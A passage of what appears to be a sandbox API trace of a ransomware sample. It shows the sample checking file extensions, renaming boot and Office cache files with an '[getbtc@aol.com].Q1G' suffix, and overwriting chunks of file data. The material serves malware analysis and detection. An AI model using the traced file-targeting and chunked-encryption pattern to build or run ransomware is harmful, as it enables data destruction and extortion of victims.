lpString2=".mui") returned -1 [0035.961] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.961] lstrlenW (lpString=".1cd") returned 4 [0035.961] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.961] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.961] lstrlenW (lpString=".jpg") returned 4 [0035.961] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.961] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0035.961] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0035.961] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.962] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=94800) returned 1 [0035.962] CloseHandle (hObject=0x19c) returned 1 [0035.962] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0035.962] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.962] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.962] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0035.962] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0035.962] lstrlenW (lpString=".doc") returned 4 [0035.962] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.962] lstrlenW (lpString=".docx") returned 5 [0035.962] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.962] lstrlenW (lpString=".pdf") returned 4 [0035.962] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.962] lstrlenW (lpString=".xls") returned 4 [0035.962] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.962] lstrlenW (lpString=".xlsx") returned 5 [0035.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.962] lstrlenW (lpString=".ppt") returned 4 [0035.962] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.962] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0035.962] lstrlenW (lpString=".zip") returned 4 [0035.963] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.963] lstrlenW (lpString=".rar") returned 4 [0035.963] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.963] lstrlenW (lpString=".bz2") returned 4 [0035.963] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.963] lstrlenW (lpString=".7z") returned 3 [0035.963] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.964] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0036.358] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0036.397] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0036.398] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0036.398] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.398] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.398] ReadFile (in: hFile=0x194, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.405] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.406] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.420] ReadFile (in: hFile=0x194, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.440] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.440] WriteFile (in: hFile=0x194, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0036.684] SetEndOfFile (hFile=0x194) returned 1 [0036.684] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f3d098 [0036.687] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.687] WriteFile (in: hFile=0x194, lpBuffer=0x3f3d098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3d098*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.688] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.689] WriteFile (in: hFile=0x194, lpBuffer=0x3f3d098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3d098*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.695] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.695] WriteFile (in: hFile=0x194, lpBuffer=0x3f3d098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3d098*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.697] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f3d098 | out: hHeap=0x510000) returned 1 [0036.697] CloseHandle (hObject=0x194) returned 1 [0037.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.106] lstrlenW (lpString=".doc") returned 4 [0037.106] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0037.106] lstrlenW (lpString=".docx") returned 5 [0037.106] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0037.106] lstrlenW (lpString=".pdf") returned 4 [0037.106] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0037.106] lstrlenW (lpString=".xls") returned 4 [0037.106] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0037.106] lstrlenW (lpString=".xlsx") returned 5 [0037.106] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0037.106] lstrlenW (lpString=".ppt") returned 4 [0037.106] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0037.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.106] lstrlenW (lpString=".zip") returned 4 [0037.106] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0037.106] lstrlenW (lpString=".rar") returned 4 [0037.106] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0037.106] lstrlenW (lpString=".bz2") returned 4 [0037.106] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0037.106] lstrlenW (lpString=".7z") returned 3 [0037.106] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0037.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.106] lstrlenW (lpString=".dbf") returned 4 [0037.106] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0037.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.106] lstrlenW (lpString=".1cd") returned 4 [0037.106] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0037.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.106] lstrlenW (lpString=".jpg") returned 4 [0037.106] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0037.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.107] lstrlenW (lpString=".doc") returned 4 [0037.107] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0037.107] lstrlenW (lpString=".docx") returned 5 [0037.107] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0037.107] lstrlenW (lpString=".pdf") returned 4 [0037.107] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0037.107] lstrlenW (lpString=".xls") returned 4 [0037.107] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0037.107] lstrlenW (lpString=".xlsx") returned 5 [0037.107] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0037.107] lstrlenW (lpString=".ppt") returned 4 [0037.107] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0037.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.107] lstrlenW (lpString=".zip") returned 4 [0037.107] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0037.107] lstrlenW (lpString=".rar") returned 4 [0037.107] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0037.107] lstrlenW (lpString=".bz2") returned 4 [0037.107] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0037.107] lstrlenW (lpString=".7z") returned 3 [0037.107] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0037.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.107] lstrlenW (lpString=".dbf") returned 4 [0037.107] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0037.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.107] lstrlenW (lpString=".1cd") returned 4 [0037.107] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0037.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0037.107] lstrlenW (lpString=".jpg") returned 4 [0037.107] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0037.108] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0037.108] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0037.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0037.108] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2513920) returned 1 [0037.108] CloseHandle (hObject=0x194) returned 1 [0037.108] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0037.108] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.108] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0037.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0037.109] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.109] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.109] ReadFile (in: hFile=0x194, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.114] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.114] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.449] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.449] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.449] ReadFile (in: hFile=0x194, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.464] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.464] WriteFile (in: hFile=0x194, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0037.481] SetEndOfFile (hFile=0x194) returned 1 [0037.481] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa50c0 [0037.481] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.481] WriteFile (in: hFile=0x194, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.483] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.483] WriteFile (in: hFile=0x194, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.785] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.785] WriteFile (in: hFile=0x194, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.788] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa50c0 | out: hHeap=0x510000) returned 1 [0037.788] CloseHandle (hObject=0x194) returned 1 [0038.346] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0038.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.347] lstrlenW (lpString=".doc") returned 4 [0038.347] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.347] lstrlenW (lpString=".docx") returned 5 [0038.348] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.348] lstrlenW (lpString=".pdf") returned 4 [0038.348] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.348] lstrlenW (lpString=".xls") returned 4 [0038.348] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.348] lstrlenW (lpString=".xlsx") returned 5 [0038.348] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.348] lstrlenW (lpString=".ppt") returned 4 [0038.348] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.348] lstrlenW (lpString=".zip") returned 4 [0038.348] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.348] lstrlenW (lpString=".rar") returned 4 [0038.348] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.348] lstrlenW (lpString=".bz2") returned 4 [0038.348] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.348] lstrlenW (lpString=".7z") returned 3 [0038.348] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.348] lstrlenW (lpString=".dbf") returned 4 [0038.348] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.348] lstrlenW (lpString=".1cd") returned 4 [0038.348] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.348] lstrlenW (lpString=".jpg") returned 4 [0038.348] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.348] lstrlenW (lpString=".doc") returned 4 [0038.348] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.348] lstrlenW (lpString=".docx") returned 5 [0038.348] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.349] lstrlenW (lpString=".pdf") returned 4 [0038.349] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.349] lstrlenW (lpString=".xls") returned 4 [0038.349] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.349] lstrlenW (lpString=".xlsx") returned 5 [0038.349] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.349] lstrlenW (lpString=".ppt") returned 4 [0038.349] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.349] lstrlenW (lpString=".zip") returned 4 [0038.349] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.349] lstrlenW (lpString=".rar") returned 4 [0038.349] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.349] lstrlenW (lpString=".bz2") returned 4 [0038.349] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.349] lstrlenW (lpString=".7z") returned 3 [0038.349] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.349] lstrlenW (lpString=".dbf") returned 4 [0038.349] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.349] lstrlenW (lpString=".1cd") returned 4 [0038.349] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0038.349] lstrlenW (lpString=".jpg") returned 4 [0038.349] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.349] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0038.349] lstrlenW (lpString="OutlkLR.cab") returned 11 [0038.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.350] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=14819276) returned 1 [0038.350] CloseHandle (hObject=0x194) returned 1 [0038.350] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0038.351] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.351] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0038.351] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0038.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: 